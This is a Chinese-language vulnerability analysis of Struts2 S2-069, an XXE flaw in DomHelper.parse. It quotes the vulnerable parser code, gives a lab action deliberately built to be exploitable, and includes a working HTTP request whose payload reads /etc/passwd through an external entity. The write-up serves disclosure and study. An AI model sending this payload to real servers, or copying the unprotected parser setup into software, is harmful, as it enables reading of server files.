漏洞描述

看到微步等厂商发了 Struts2 S2-069 的通告

漏洞分析

补丁里设置了禁用外部实体解析

查看该 DomHelper.parse() 方法,直接使用了默认javax.xml.parsers.SAXParserFactory,典型的xxe

public static Document parse(InputSource inputSource) {
        return parse(inputSource, null);
    }
    
parse(InputSource inputSource, Map<String, String> dtdMappings) {
                
        SAXParserFactory factory = null;
        String parserProp = System.getProperty("xwork.saxParserFactory");
        if (parserProp != null) {
            try {
                ObjectFactory objectFactory = ActionContext.getContext().getContainer().getInstance(ObjectFactory.class);
                Class clazz = objectFactory.getClassInstance(parserProp);
                factory = (SAXParserFactory) clazz.newInstance();
            } catch (Exception e) {
                LOG.error("Unable to load saxParserFactory set by system property 'xwork.saxParserFactory': {}", parserProp, e);
            }
        }

        if (factory == null) {
            factory = SAXParserFactory.newInstance(); // 使用默认 SAXParserFactory
        }

        factory.setValidating((dtdMappings != null));
        factory.setNamespaceAware(true);

        SAXParser parser;
        try {
            parser = factory.newSAXParser();
        } catch (Exception ex) {
            throw new StrutsException("Unable to create SAX parser", ex);
        }
        
        
        DOMBuilder builder = new DOMBuilder();

        // Enhance the sax stream with location information
        ContentHandler locationHandler = new LocationAttributes.Pipe(builder);
        
        try {
            parser.parse(inputSource, new StartHandler(locationHandler, dtdMappings));
        } catch (Exception ex) {
            throw new StrutsException(ex);
        }
        
        return builder.getDocument();
    }

环境搭建

创建一个XXEActin 调用 com.opensymphony.xwork2.util.DomHelper.parse 解析传入的 xml 即可

package com.example.actions;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.struts2.interceptor.ServletResponseAware;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import javax.servlet.http.HttpServletResponse;
import java.io.StringReader;
import java.io.PrintWriter;

public class XXEAction extends ActionSupport implements ServletResponseAware {

    private String xmlContent;
    private HttpServletResponse response;

    public void setServletResponse(HttpServletResponse response) {
        this.response = response;
    }

    public String execute() throws Exception {
        if (xmlContent != null && !xmlContent.trim().isEmpty()) {
            try {
                InputSource inputSource = new InputSource(new StringReader(xmlContent));
                Document doc = com.opensymphony.xwork2.util.DomHelper.parse(inputSource);
                String root = doc.getDocumentElement().getTagName();
                String textContent = doc.getDocumentElement().getTextContent();
                String result = "XML parsed. Root: " + root + "\nContent: " + textContent;
                response.setContentType("text/plain");
                PrintWriter out = response.getWriter();
                out.write(result);
                out.flush();
                return NONE;
            } catch (Exception e) {
                String error = "Error: " + e.getMessage();
                response.setContentType("text/plain");
                PrintWriter out = response.getWriter();
                out.write(error);
                out.flush();
                return NONE;
            }
        }
        response.setContentType("text/plain");
        PrintWriter out = response.getWriter();
        out.write("No XML provided");
        out.flush();
        return NONE;
    }

    public String getXmlContent() {
        return xmlContent;
    }

    public void setXmlContent(String xmlContent) {
        this.xmlContent = xmlContent;
    }
}

漏洞复现

POST /xxe.action HTTP/1.1
Host: ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 259

xmlContent=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20foo%20%5B%0A%20%20%3C%21ELEMENT%20foo%20ANY%20%3E%0A%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%20%3E%5D%3E%0A%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E


影响范围

struts 框架默认不受影响,com.opensymphony.xwork2.util 只是一个工具类,DomHelper.parse 需要开发者显式调用,因此影响范围较小

参考链接

https://issues.apache.org/jira/browse/WW-5252

https://github.com/apache/struts/commit/6658c6360e771a793ab261e5b4d3ed9dfb6720d3#diff-fbc632eaf4a09c1feac83796f72802d9e332dbb680473b1c6f3add6ad8946495R105